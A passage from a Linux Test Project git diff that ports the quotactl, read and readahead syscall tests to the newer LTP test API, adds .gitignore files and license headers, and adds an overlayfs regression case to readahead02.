+	.tcnt = ARRAY_SIZE(tcases),
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = verify_pwritev2,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/quotactl/.gitignore b/testcases/kernel/syscalls/quotactl/.gitignore
new file mode 100644
index 0000000..b0ef075
--- /dev/null
+++ b/testcases/kernel/syscalls/quotactl/.gitignore
@@ -0,0 +1,3 @@
+/quotactl01
+/quotactl02
+/quotactl03
diff --git a/testcases/kernel/syscalls/quotactl/quotactl01.c b/testcases/kernel/syscalls/quotactl/quotactl01.c
index 0173ed4..92b654e 100644
--- a/testcases/kernel/syscalls/quotactl/quotactl01.c
+++ b/testcases/kernel/syscalls/quotactl/quotactl01.c
@@ -191,7 +191,7 @@
 	fmt_buf = 0;
 
 	TEST(quotactl(tc->cmd, tst_device->dev, *tc->id, tc->addr));
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO, "quotactl failed to %s", tc->des);
 		return;
 	}
diff --git a/testcases/kernel/syscalls/quotactl/quotactl02.c b/testcases/kernel/syscalls/quotactl/quotactl02.c
index 9e6408a..d8b1784 100644
--- a/testcases/kernel/syscalls/quotactl/quotactl02.c
+++ b/testcases/kernel/syscalls/quotactl/quotactl02.c
@@ -163,7 +163,7 @@
 	struct t_case *tc = &tcases[n];
 
 	TEST(quotactl(tc->cmd, tst_device->dev, test_id, tc->addr));
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO, "quotactl() failed to %s", tc->des);
 		return;
 	}
diff --git a/testcases/kernel/syscalls/quotactl/quotactl03.c b/testcases/kernel/syscalls/quotactl/quotactl03.c
index 64caac3..aea5735 100644
--- a/testcases/kernel/syscalls/quotactl/quotactl03.c
+++ b/testcases/kernel/syscalls/quotactl/quotactl03.c
@@ -66,22 +66,22 @@
 
 	TEST(quotactl(QCMD(Q_XGETNEXTQUOTA, USRQUOTA), tst_device->dev,
 		test_id, (void *)&res_dquota));
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "quotactl() found the next active ID:"
 			" %u unexpectedly", res_dquota.d_id);
 		return;
 	}
 
-	if (TEST_ERRNO == EINVAL) {
+	if (TST_ERR == EINVAL) {
 		tst_brk(TCONF | TTERRNO,
 			"Q_XGETNEXTQUOTA wasn't supported in quotactl()");
 	}
 
-	if (TEST_ERRNO != ENOENT) {
-		tst_res(TFAIL | TTERRNO, "quotaclt() failed unexpectedly with"
-			" %s expected ENOENT", tst_strerrno(TEST_ERRNO));
+	if (TST_ERR != ENOENT) {
+		tst_res(TFAIL | TTERRNO, "quotactl() failed unexpectedly with"
+			" %s expected ENOENT", tst_strerrno(TST_ERR));
 	} else {
-		tst_res(TPASS, "quotaclt() failed with ENOENT as expected");
+		tst_res(TPASS, "quotactl() failed with ENOENT as expected");
 	}
 }
 
diff --git a/testcases/kernel/syscalls/read/.gitignore b/testcases/kernel/syscalls/read/.gitignore
new file mode 100644
index 0000000..e89c008
--- /dev/null
+++ b/testcases/kernel/syscalls/read/.gitignore
@@ -0,0 +1,4 @@
+/read01
+/read02
+/read03
+/read04
diff --git a/testcases/kernel/syscalls/read/read01.c b/testcases/kernel/syscalls/read/read01.c
index 855a3a1..68aea09 100644
--- a/testcases/kernel/syscalls/read/read01.c
+++ b/testcases/kernel/syscalls/read/read01.c
@@ -45,10 +45,10 @@
 
 	TEST(read(fd, buf, SIZE));
 
-	if (TEST_RETURN == -1)
+	if (TST_RET == -1)
 		tst_res(TFAIL | TTERRNO, "read(2) failed");
 	else
-		tst_res(TPASS, "read(2) returned %ld", TEST_RETURN);
+		tst_res(TPASS, "read(2) returned %ld", TST_RET);
 }
 
 static void setup(void)
diff --git a/testcases/kernel/syscalls/read/read02.c b/testcases/kernel/syscalls/read/read02.c
index dae2385..a92f957 100644
--- a/testcases/kernel/syscalls/read/read02.c
+++ b/testcases/kernel/syscalls/read/read02.c
@@ -84,18 +84,18 @@
 
 	TEST(read(*tc->fd, *tc->buf, tc->count));
 
-	if (*tc->fd == fd4 && TEST_RETURN >= 0) {
+	if (*tc->fd == fd4 && TST_RET >= 0) {
 		tst_res(TPASS,
 			"O_DIRECT unaligned reads fallbacks to buffered I/O");
 		return;
 	}
 
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "read() succeeded unexpectedly");
 		return;
 	}
 
-	if (TEST_ERRNO == tc->exp_error) {
+	if (TST_ERR == tc->exp_error) {
 		tst_res(TPASS | TTERRNO, "read() failed as expected");
 	} else {
 		tst_res(TFAIL | TTERRNO, "read() failed unexpectedly, "
diff --git a/testcases/kernel/syscalls/readahead/.gitignore b/testcases/kernel/syscalls/readahead/.gitignore
new file mode 100644
index 0000000..116355b
--- /dev/null
+++ b/testcases/kernel/syscalls/readahead/.gitignore
@@ -0,0 +1,2 @@
+/readahead01
+/readahead02
diff --git a/testcases/kernel/syscalls/readahead/readahead01.c b/testcases/kernel/syscalls/readahead/readahead01.c
index f350194..e196795 100644
--- a/testcases/kernel/syscalls/readahead/readahead01.c
+++ b/testcases/kernel/syscalls/readahead/readahead01.c
@@ -1,25 +1,6 @@
+// SPDX-License-Identifier: GPL-2.0
 /*
  * Copyright (C) 2012 Linux Test Project, Inc.
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of version 2 of the GNU General Public
- * License as published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it
- * is free of the rightful claim of any third person regarding
- * infringement or the like.  Any license provided herein, whether
- * implied or otherwise, applies only to this software file.  Patent
- * licenses, if any, provided herein do not apply to combinations of
- * this program with other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
- * 02110-1301, USA.
  */
 
 /*
@@ -36,48 +17,35 @@
 #include <sys/syscall.h>
 #include <sys/types.h>
 #include "config.h"
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
 #include "lapi/syscalls.h"
 
-char *TCID = "readahead01";
-int TST_TOTAL = 1;
-
-option_t options[] = {
-	{NULL, NULL, NULL}
-};
-
 #if defined(__NR_readahead)
-static void setup(void);
-static void cleanup(void);
-
-static int check_ret(long expected_ret)
+static void check_ret(long expected_ret)
 {
-	if (expected_ret == TEST_RETURN) {
-		tst_resm(TPASS, "expected ret success - "
-			 "returned value = %ld", TEST_RETURN);
-		return 0;
+	if (expected_ret == TST_RET) {
+		tst_res(TPASS, "expected ret success - "
+			"returned value = %ld", TST_RET);
+		return;
 	}
-	tst_resm(TFAIL, "unexpected failure - "
-		 "returned value = %ld, expected: %ld",
-		 TEST_RETURN, expected_ret);
-	return 1;
+	tst_res(TFAIL, "unexpected failure - "
+		"returned value = %ld, expected: %ld",
+		TST_RET, expected_ret);
 }
 
-static int check_errno(long expected_errno)
+static void check_errno(long expected_errno)
 {
-	if (TEST_ERRNO == expected_errno) {
-		tst_resm(TPASS | TTERRNO, "expected failure");
-		return 0;
+	if (TST_ERR == expected_errno) {
+		tst_res(TPASS | TTERRNO, "expected failure");
+		return;
 	}
 
-	if (TEST_ERRNO == 0)
-		tst_resm(TFAIL, "call succeeded unexpectedly");
+	if (TST_ERR == 0)
+		tst_res(TFAIL, "call succeeded unexpectedly");
 	else
-		tst_resm(TFAIL | TTERRNO, "unexpected failure - "
-			 "expected = %ld : %s, actual",
-			 expected_errno, strerror(expected_errno));
-	return 1;
+		tst_res(TFAIL | TTERRNO, "unexpected failure - "
+			"expected = %ld : %s, actual",
+			expected_errno, strerror(expected_errno));
 }
 
 static void test_bad_fd(void)
@@ -85,23 +53,21 @@
 	char tempname[PATH_MAX] = "readahead01_XXXXXX";
 	int fd;
 
-	tst_resm(TINFO, "test_bad_fd -1");
+	tst_res(TINFO, "test_bad_fd -1");
 	TEST(readahead(-1, 0, getpagesize()));
 	check_ret(-1);
 	check_errno(EBADF);
 
-	tst_resm(TINFO, "test_bad_fd O_WRONLY");
+	tst_res(TINFO, "test_bad_fd O_WRONLY");
 	fd = mkstemp(tempname);
 	if (fd == -1)
-		tst_resm(TBROK | TERRNO, "mkstemp failed");
-	close(fd);
-	fd = open(tempname, O_WRONLY);
-	if (fd == -1)
-		tst_resm(TBROK | TERRNO, "Failed to open testfile");
+		tst_res(TBROK | TERRNO, "mkstemp failed");
+	SAFE_CLOSE(fd);
+	fd = SAFE_OPEN(tempname, O_WRONLY);
 	TEST(readahead(fd, 0, getpagesize()));
 	check_ret(-1);
 	check_errno(EBADF);
-	close(fd);
+	SAFE_CLOSE(fd);
 	unlink(tempname);
 }
 
@@ -109,60 +75,40 @@
 {
 	int fd[2];
 
-	tst_resm(TINFO, "test_invalid_fd pipe");
-	if (pipe(fd) < 0)
-		tst_resm(TBROK | TERRNO, "Failed to create pipe");
+	tst_res(TINFO, "test_invalid_fd pipe");
+	SAFE_PIPE(fd);
 	TEST(readahead(fd[0], 0, getpagesize()));
 	check_ret(-1);
 	check_errno(EINVAL);
-	close(fd[0]);
-	close(fd[1]);
+	SAFE_CLOSE(fd[0]);
+	SAFE_CLOSE(fd[1]);
 
-	tst_resm(TINFO, "test_invalid_fd socket");
-	fd[0] = socket(AF_INET, SOCK_STREAM, 0);
-	if (fd[0] < 0)
-		tst_resm(TBROK | TERRNO, "Failed to create socket");
+	tst_res(TINFO, "test_invalid_fd socket");
+	fd[0] = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0);
 	TEST(readahead(fd[0], 0, getpagesize()));
 	check_ret(-1);
 	check_errno(EINVAL);
-	close(fd[0]);
+	SAFE_CLOSE(fd[0]);
 }
 
-int main(int argc, char *argv[])
+void test_readahead(void)
 {
-	int lc;
-
-	tst_parse_opts(argc, argv, options, NULL);
-
-	setup();
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-		test_bad_fd();
-		test_invalid_fd();
-	}
-	cleanup();
-	tst_exit();
+	test_bad_fd();
+	test_invalid_fd();
 }
 
 static void setup(void)
 {
-	tst_require_root();
-	tst_tmpdir();
-
 	/* check if readahead syscall is supported */
-	ltp_syscall(__NR_readahead, 0, 0, 0);
-
-	TEST_PAUSE;
+	tst_syscall(__NR_readahead, 0, 0, 0);
 }
 
-static void cleanup(void)
-{
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.test_all = test_readahead,
+};
 
 #else /* __NR_readahead */
-int main(void)
-{
-	tst_brkm(TCONF, NULL, "System doesn't support __NR_readahead");
-}
+	TST_TEST_TCONF("System doesn't support __NR_readahead");
 #endif
diff --git a/testcases/kernel/syscalls/readahead/readahead02.c b/testcases/kernel/syscalls/readahead/readahead02.c
index 319dc91..293c839 100644
--- a/testcases/kernel/syscalls/readahead/readahead02.c
+++ b/testcases/kernel/syscalls/readahead/readahead02.c
@@ -1,25 +1,6 @@
+// SPDX-License-Identifier: GPL-2.0
 /*
  * Copyright (C) 2012 Linux Test Project, Inc.
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of version 2 of the GNU General Public
- * License as published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it
- * is free of the rightful claim of any third person regarding
- * infringement or the like.  Any license provided herein, whether
- * implied or otherwise, applies only to this software file.  Patent
- * licenses, if any, provided herein do not apply to combinations of
- * this program with other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
- * 02110-1301, USA.
  */
 
 /*
@@ -28,14 +9,20 @@
  * This test is measuring effects of readahead syscall.
  * It mmaps/reads a test file with and without prior call to readahead.
  *
+ * The overlay part of the test is regression for:
+ *  b833a3660394
+ *  ("ovl: add ovl_fadvise()")
+ * Introduced by:
+ *  5b910bd615ba
+ *  ("ovl: fix GPF in swapfile_activate of file from overlayfs over xfs")
  */
 #define _GNU_SOURCE
 #include <sys/types.h>
 #include <sys/syscall.h>
 #include <sys/mman.h>
+#include <sys/mount.h>
 #include <sys/stat.h>
 #include <sys/types.h>
-#include <sys/time.h>
 #include <errno.h>
 #include <stdio.h>
 #include <stdlib.h>
@@ -43,150 +30,121 @@
 #include <unistd.h>
 #include <fcntl.h>
 #include "config.h"
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
+#include "tst_timer.h"
 #include "lapi/syscalls.h"
 
-char *TCID = "readahead02";
-int TST_TOTAL = 1;
-
-#if defined(__NR_readahead)
-static const char testfile[] = "testfile";
-static const char drop_caches_fname[] = "/proc/sys/vm/drop_caches";
-static const char meminfo_fname[] = "/proc/meminfo";
+static char testfile[PATH_MAX] = "testfile";
+#define DROP_CACHES_FNAME "/proc/sys/vm/drop_caches"
+#define MEMINFO_FNAME "/proc/meminfo"
+#define PROC_IO_FNAME "/proc/self/io"
 static size_t testfile_size = 64 * 1024 * 1024;
-static int opt_fsize;
 static char *opt_fsizestr;
 static int pagesize;
+static unsigned long cached_max;
+static int ovl_mounted;
 
+#define MNTPOINT        "mntpoint"
+#define OVL_LOWER	MNTPOINT"/lower"
+#define OVL_UPPER	MNTPOINT"/upper"
+#define OVL_WORK	MNTPOINT"/work"
+#define OVL_MNT		MNTPOINT"/ovl"
 #define MIN_SANE_READAHEAD (4u * 1024u)
 
-option_t options[] = {
-	{"s:", &opt_fsize, &opt_fsizestr},
+static const char mntpoint[] = MNTPOINT;
+
+static struct tst_option options[] = {
+	{"s:", &opt_fsizestr, "-s    testfile size (default 64MB)"},
 	{NULL, NULL, NULL}
 };
 
-static void setup(void);
-static void cleanup(void);
-
-static void help(void)
+static int libc_readahead(int fd, off_t offset, size_t len)
 {
-	printf("  -s x    testfile size (default 64MB)\n");
+	return readahead(fd, offset, len);
 }
 
-static int check_ret(long expected_ret)
+static int fadvise_willneed(int fd, off_t offset, size_t len)
 {
-	if (expected_ret == TEST_RETURN) {
-		tst_resm(TPASS, "expected ret success - "
-			 "returned value = %ld", TEST_RETURN);
-		return 0;
-	}
-	tst_resm(TFAIL | TTERRNO, "unexpected failure - "
-		 "returned value = %ld, expected: %ld",
-		 TEST_RETURN, expected_ret);
-	return 1;
+	/* Should have the same effect as readahead() syscall */
+	errno = posix_fadvise(fd, offset, len, POSIX_FADV_WILLNEED);
+	/* posix_fadvise returns error number (not in errno) */
+	return errno ? -1 : 0;
 }
 
+static struct tcase {
+	const char *tname;
+	int use_overlay;
+	int use_fadvise;
+	/* Use either readahead() syscall or POSIX_FADV_WILLNEED */
+	int (*readahead)(int, off_t, size_t);
+} tcases[] = {
+	{ "readahead on file", 0, 0, libc_readahead },
+	{ "readahead on overlayfs file", 1, 0, libc_readahead },
+	{ "POSIX_FADV_WILLNEED on file", 0, 1, fadvise_willneed },
+	{ "POSIX_FADV_WILLNEED on overlayfs file", 1, 1, fadvise_willneed },
+};
+
+static int readahead_supported = 1;
+static int fadvise_supported = 1;
+
 static int has_file(const char *fname, int required)
 {
-	int ret;
 	struct stat buf;
-	ret = stat(fname, &buf);
-	if (ret == -1) {
-		if (errno == ENOENT)
-			if (required)
-				tst_brkm(TCONF, cleanup, "%s not available",
-					 fname);
-			else
-				return 0;
-		else
-			tst_brkm(TBROK | TERRNO, cleanup, "stat %s", fname);
+
+	if (stat(fname, &buf) == -1) {
+		if (errno != ENOENT)
+			tst_brk(TBROK | TERRNO, "stat %s", fname);
+		if (required)
+			tst_brk(TCONF, "%s not available", fname);
+		return 0;
 	}
 	return 1;
 }
 
 static void drop_caches(void)
 {
-	int ret;
-	FILE *f;
-
-	f = fopen(drop_caches_fname, "w");
-	if (f) {
-		ret = fprintf(f, "1");
-		fclose(f);
-		if (ret < 1)
-			tst_brkm(TBROK, cleanup, "Failed to drop caches");
-	} else {
-		tst_brkm(TBROK, cleanup, "Failed to open drop_caches");
-	}
-}
-
-static unsigned long parse_entry(const char *fname, const char *entry)
-{
-	FILE *f;
-	long value = -1;
-	int ret;
-	char *line = NULL;
-	size_t linelen;
-
-	f = fopen(fname, "r");
-	if (f) {
-		do {
-			ret = getline(&line, &linelen, f);
-			if (sscanf(line, entry, &value) == 1)
-				break;
-		} while (ret != -1);
-		fclose(f);
-	}
-	return value;
+	SAFE_FILE_PRINTF(DROP_CACHES_FNAME, "1");
 }
 
 static unsigned long get_bytes_read(void)
 {
-	char fname[128];
-	char entry[] = "read_bytes: %lu";
-	sprintf(fname, "/proc/%u/io", getpid());
-	return parse_entry(fname, entry);
+	unsigned long ret;
+
+	SAFE_FILE_LINES_SCANF(PROC_IO_FNAME, "read_bytes: %lu", &ret);
+
+	return ret;
 }
 
 static unsigned long get_cached_size(void)
 {
-	char entry[] = "Cached: %lu";
-	return parse_entry(meminfo_fname, entry);
+	unsigned long ret;
+
+	SAFE_FILE_LINES_SCANF(MEMINFO_FNAME, "Cached: %lu", &ret);
+
+	return ret;
 }
 
-static void create_testfile(void)
+static void create_testfile(int use_overlay)
 {
-	FILE *f;
+	int fd;
 	char *tmp;
 	size_t i;
 
-	tst_resm(TINFO, "creating test file of size: %zu", testfile_size);
-	tmp = SAFE_MALLOC(cleanup, pagesize);
+	sprintf(testfile, "%s/testfile", use_overlay ? OVL_MNT : MNTPOINT);
+	tst_res(TINFO, "creating test file of size: %zu", testfile_size);
+	tmp = SAFE_MALLOC(pagesize);
 
 	/* round to page size */
 	testfile_size = testfile_size & ~((long)pagesize - 1);
 
-	f = fopen(testfile, "w");
-	if (!f) {
-		free(tmp);
-		tst_brkm(TBROK | TERRNO, cleanup, "Failed to create %s",
-			 testfile);
-	}
-
+	fd = SAFE_CREAT(testfile, 0644);
 	for (i = 0; i < testfile_size; i += pagesize)
-		if (fwrite(tmp, pagesize, 1, f) < 1) {
-			free(tmp);
-			tst_brkm(TBROK, cleanup, "Failed to create %s",
-				 testfile);
-		}
-	fflush(f);
-	fsync(fileno(f));
-	fclose(f);
+		SAFE_WRITE(1, fd, tmp, pagesize);
+	SAFE_FSYNC(fd);
+	SAFE_CLOSE(fd);
 	free(tmp);
 }
 
-
 /* read_testfile - mmap testfile and read every page.
  * This functions measures how many I/O and time it takes to fully
  * read contents of test file.
@@ -198,28 +156,27 @@
  * @usec: returns how many microsecond it took to go over fsize bytes
  * @cached: returns cached kB from /proc/meminfo
  */
-static void read_testfile(int do_readahead, const char *fname, size_t fsize,
-			  unsigned long *read_bytes, long *usec,
-			  unsigned long *cached)
+static int read_testfile(struct tcase *tc, int do_readahead,
+			 const char *fname, size_t fsize,
+			 unsigned long *read_bytes, long long *usec,
+			 unsigned long *cached)
 {
 	int fd;
 	size_t i = 0;
 	long read_bytes_start;
 	unsigned char *p, tmp;
-	unsigned long time_start_usec, time_end_usec;
 	unsigned long cached_start, max_ra_estimate = 0;
 	off_t offset = 0;
-	struct timeval now;
 
-	fd = SAFE_OPEN(cleanup, fname, O_RDONLY);
+	fd = SAFE_OPEN(fname, O_RDONLY);
 
 	if (do_readahead) {
 		cached_start = get_cached_size();
 		do {
-			TEST(readahead(fd, offset, fsize - offset));
-			if (TEST_RETURN != 0) {
-				check_ret(0);
-				break;
+			TEST(tc->readahead(fd, offset, fsize - offset));
+			if (TST_RET != 0) {
+				SAFE_CLOSE(fd);
+				return TST_ERR;
 			}
 
 			/* estimate max readahead size based on first call */
@@ -228,7 +185,7 @@
 				if (*cached > cached_start) {
 					max_ra_estimate = (1024 *
 						(*cached - cached_start));
-					tst_resm(TINFO, "max ra estimate: %lu",
+					tst_res(TINFO, "max ra estimate: %lu",
 						max_ra_estimate);
 				}
 				max_ra_estimate = MAX(max_ra_estimate,
@@ -238,27 +195,21 @@
 			i++;
 			offset += max_ra_estimate;
 		} while ((size_t)offset < fsize);
-		tst_resm(TINFO, "readahead calls made: %zu", i);
+		tst_res(TINFO, "readahead calls made: %zu", i);
 		*cached = get_cached_size();
 
 		/* offset of file shouldn't change after readahead */
-		offset = lseek(fd, 0, SEEK_CUR);
-		if (offset == (off_t) - 1)
-			tst_brkm(TBROK | TERRNO, cleanup, "lseek failed");
+		offset = SAFE_LSEEK(fd, 0, SEEK_CUR);
 		if (offset == 0)
-			tst_resm(TPASS, "offset is still at 0 as expected");
+			tst_res(TPASS, "offset is still at 0 as expected");
 		else
-			tst_resm(TFAIL, "offset has changed to: %lu", offset);
+			tst_res(TFAIL, "offset has changed to: %lu", offset);
 	}
 
-	if (gettimeofday(&now, NULL) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "gettimeofday failed");
-	time_start_usec = now.tv_sec * 1000000 + now.tv_usec;
+	tst_timer_start(CLOCK_MONOTONIC);
 	read_bytes_start = get_bytes_read();
 
-	p = mmap(NULL, fsize, PROT_READ, MAP_SHARED | MAP_POPULATE, fd, 0);
-	if (p == MAP_FAILED)
-		tst_brkm(TBROK | TERRNO, cleanup, "mmap failed");
+	p = SAFE_MMAP(NULL, fsize, PROT_READ, MAP_SHARED | MAP_POPULATE, fd, 0);
 
 	/* for old kernels, where MAP_POPULATE doesn't work, touch each page */
 	tmp = 0;
@@ -266,40 +217,52 @@
 		tmp = tmp ^ p[i];
 	/* prevent gcc from optimizing out loop above */
 	if (tmp != 0)
-		tst_brkm(TBROK, NULL, "This line should not be reached");
+		tst_brk(TBROK, "This line should not be reached");
 
 	if (!do_readahead)
 		*cached = get_cached_size();
 
-	SAFE_MUNMAP(cleanup, p, fsize);
+	SAFE_MUNMAP(p, fsize);
 
 	*read_bytes = get_bytes_read() - read_bytes_start;
-	if (gettimeofday(&now, NULL) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "gettimeofday failed");
-	time_end_usec = now.tv_sec * 1000000 + now.tv_usec;
-	*usec = time_end_usec - time_start_usec;
 
-	SAFE_CLOSE(cleanup, fd);
+	tst_timer_stop();
+	*usec = tst_timer_elapsed_us();
+
+	SAFE_CLOSE(fd);
+	return 0;
 }
 
-static void test_readahead(void)
+static void test_readahead(unsigned int n)
 {
 	unsigned long read_bytes, read_bytes_ra;
-	long usec, usec_ra;
-	unsigned long cached_max, cached_low, cached, cached_ra;
-	char proc_io_fname[128];
-	sprintf(proc_io_fname, "/proc/%u/io", getpid());
+	long long usec, usec_ra;
+	unsigned long cached_high, cached_low, cached, cached_ra;
+	int ret;
+	struct tcase *tc = &tcases[n];
+
+	tst_res(TINFO, "Test #%d: %s", n, tc->tname);
+
+	if (tc->use_overlay && !ovl_mounted) {
+		tst_res(TCONF,
+		        "overlayfs is not configured in this kernel.");
+		return;
+	}
+
+	create_testfile(tc->use_overlay);
 
 	/* find out how much can cache hold if we read whole file */
-	read_testfile(0, testfile, testfile_size, &read_bytes, &usec, &cached);
-	cached_max = get_cached_size();
+	read_testfile(tc, 0, testfile, testfile_size, &read_bytes, &usec,
+		      &cached);
+	cached_high = get_cached_size();
 	sync();
 	drop_caches();
 	cached_low = get_cached_size();
-	cached_max = cached_max - cached_low;
+	cached_max = MAX(cached_max, cached_high - cached_low);
 
-	tst_resm(TINFO, "read_testfile(0)");
-	read_testfile(0, testfile, testfile_size, &read_bytes, &usec, &cached);
+	tst_res(TINFO, "read_testfile(0)");
+	read_testfile(tc, 0, testfile, testfile_size, &read_bytes, &usec,
+		      &cached);
 	if (cached > cached_low)
 		cached = cached - cached_low;
 	else
@@ -308,33 +271,59 @@
 	sync();
 	drop_caches();
 	cached_low = get_cached_size();
-	tst_resm(TINFO, "read_testfile(1)");
-	read_testfile(1, testfile, testfile_size, &read_bytes_ra,
-		      &usec_ra, &cached_ra);
+	tst_res(TINFO, "read_testfile(1)");
+	ret = read_testfile(tc, 1, testfile, testfile_size, &read_bytes_ra,
+		            &usec_ra, &cached_ra);
+
+	if (ret == EINVAL) {
+		if (tc->use_fadvise &&
+		    (!tc->use_overlay || !fadvise_supported)) {
+			fadvise_supported = 0;
+			tst_res(TCONF, "CONFIG_ADVISE_SYSCALLS not configured "
+				"in kernel?");
+			return;
+		}
+
+		if (!tc->use_overlay || !readahead_supported) {
+			readahead_supported = 0;
+			tst_res(TCONF, "readahead not supported on %s",
+				tst_device->fs_type);
+			return;
+		}
+	}
+
+	if (ret) {
+		tst_res(TFAIL | TTERRNO, "%s failed on %s",
+			tc->use_fadvise ? "fadvise" : "readahead",
+			tc->use_overlay ? "overlayfs" :
+			tst_device->fs_type);
+		return;
+	}
+
 	if (cached_ra > cached_low)
 		cached_ra = cached_ra - cached_low;
 	else
 		cached_ra = 0;
 
-	tst_resm(TINFO, "read_testfile(0) took: %ld usec", usec);
-	tst_resm(TINFO, "read_testfile(1) took: %ld usec", usec_ra);
-	if (has_file(proc_io_fname, 0)) {
-		tst_resm(TINFO, "read_testfile(0) read: %ld bytes", read_bytes);
-		tst_resm(TINFO, "read_testfile(1) read: %ld bytes",
-			 read_bytes_ra);
+	tst_res(TINFO, "read_testfile(0) took: %lli usec", usec);
+	tst_res(TINFO, "read_testfile(1) took: %lli usec", usec_ra);
+	if (has_file(PROC_IO_FNAME, 0)) {
+		tst_res(TINFO, "read_testfile(0) read: %ld bytes", read_bytes);
+		tst_res(TINFO, "read_testfile(1) read: %ld bytes",
+			read_bytes_ra);
 		/* actual number of read bytes depends on total RAM */
 		if (read_bytes_ra < read_bytes)
-			tst_resm(TPASS, "readahead saved some I/O");
+			tst_res(TPASS, "readahead saved some I/O");
 		else
-			tst_resm(TFAIL, "readahead failed to save any I/O");
+			tst_res(TFAIL, "readahead failed to save any I/O");
 	} else {
-		tst_resm(TCONF, "Your system doesn't have /proc/pid/io,"
-			 " unable to determine read bytes during test");
+		tst_res(TCONF, "Your system doesn't have /proc/self/io,"
+			" unable to determine read bytes during test");
 	}
 
-	tst_resm(TINFO, "cache can hold at least: %ld kB", cached_max);
-	tst_resm(TINFO, "read_testfile(0) used cache: %ld kB", cached);
-	tst_resm(TINFO, "read_testfile(1) used cache: %ld kB", cached_ra);
+	tst_res(TINFO, "cache can hold at least: %ld kB", cached_max);
+	tst_res(TINFO, "read_testfile(0) used cache: %ld kB", cached);
+	tst_res(TINFO, "read_testfile(1) used cache: %ld kB", cached_ra);
 
 	if (cached_max * 1024 >= testfile_size) {
 		/*
@@ -342,58 +331,72 @@
 		 * for readahead should be at least testfile_size/2
 		 */
 		if (cached_ra * 1024 > testfile_size / 2)
-			tst_resm(TPASS, "using cache as expected");
+			tst_res(TPASS, "using cache as expected");
+		else if (!cached_ra)
+			tst_res(TFAIL, "readahead failed to use any cache");
 		else
-			tst_resm(TWARN, "using less cache than expected");
+			tst_res(TWARN, "using less cache than expected");
 	} else {
-		tst_resm(TCONF, "Page cache on your system is too small "
-			 "to hold whole testfile.");
+		tst_res(TCONF, "Page cache on your system is too small "
+			"to hold whole testfile.");
 	}
 }
 
-int main(int argc, char *argv[])
+static void setup_overlay(void)
 {
-	int lc;
+	int ret;
 
-	tst_parse_opts(argc, argv, options, help);
-
-	if (opt_fsize)
-		testfile_size = atoi(opt_fsizestr);
-
-	setup();
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-		test_readahead();
+	/* Setup an overlay mount with lower dir and file */
+	SAFE_MKDIR(OVL_LOWER, 0755);
+	SAFE_MKDIR(OVL_UPPER, 0755);
+	SAFE_MKDIR(OVL_WORK, 0755);
+	SAFE_MKDIR(OVL_MNT, 0755);
+	ret = mount("overlay", OVL_MNT, "overlay", 0, "lowerdir="OVL_LOWER
+		    ",upperdir="OVL_UPPER",workdir="OVL_WORK);
+	if (ret < 0) {
+		if (errno == ENODEV) {
+			tst_res(TINFO,
+				"overlayfs is not configured in this kernel.");
+			return;
+		}
+		tst_brk(TBROK | TERRNO, "overlayfs mount failed");
 	}
-	cleanup();
-	tst_exit();
+	ovl_mounted = 1;
 }
 
 static void setup(void)
 {
-	tst_require_root();
-	tst_tmpdir();
-	TEST_PAUSE;
+	if (opt_fsizestr)
+		testfile_size = SAFE_STRTOL(opt_fsizestr, 1, INT_MAX);
 
-	has_file(drop_caches_fname, 1);
-	has_file(meminfo_fname, 1);
+	if (access(PROC_IO_FNAME, F_OK))
+		tst_brk(TCONF, "Requires " PROC_IO_FNAME);
+
+	has_file(DROP_CACHES_FNAME, 1);
+	has_file(MEMINFO_FNAME, 1);
 
 	/* check if readahead is supported */
-	ltp_syscall(__NR_readahead, 0, 0, 0);
+	tst_syscall(__NR_readahead, 0, 0, 0);
 
 	pagesize = getpagesize();
-	create_testfile();
+
+	setup_overlay();
 }
 
 static void cleanup(void)
 {
-	unlink(testfile);
-	tst_rmdir();
+	if (ovl_mounted)
+		SAFE_UMOUNT(OVL_MNT);
 }
 
-#else /* __NR_readahead */
-int main(void)
-{
-	tst_brkm(TCONF, NULL, "System doesn't support __NR_readahead");
-}
-#endif
+static struct tst_test test = {
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+	.mount_device = 1,
+	.mntpoint = mntpoint,
+	.setup = setup,
+	.cleanup = cleanup,
+	.options = options,
+	.test = test_readahead,
+	.tcnt = ARRAY_SIZE(tcases),
+};
diff --git a/testcases/kernel/syscalls/readdir/.gitignore b/testcases/kernel/syscalls/readdir/.gitignore
new file mode 100644
index 0000000..b0b30ff
--- /dev/null
+++ b/testcases/kernel/syscalls/readdir/.gitignore
@@ -0,0 +1,3 @@
+/readdir01
+/readdir02
+/readdir21
diff --git a/testcases/kernel/syscalls/readlink/.gitignore b/testcases/kernel/syscalls/readlink/.gitignore
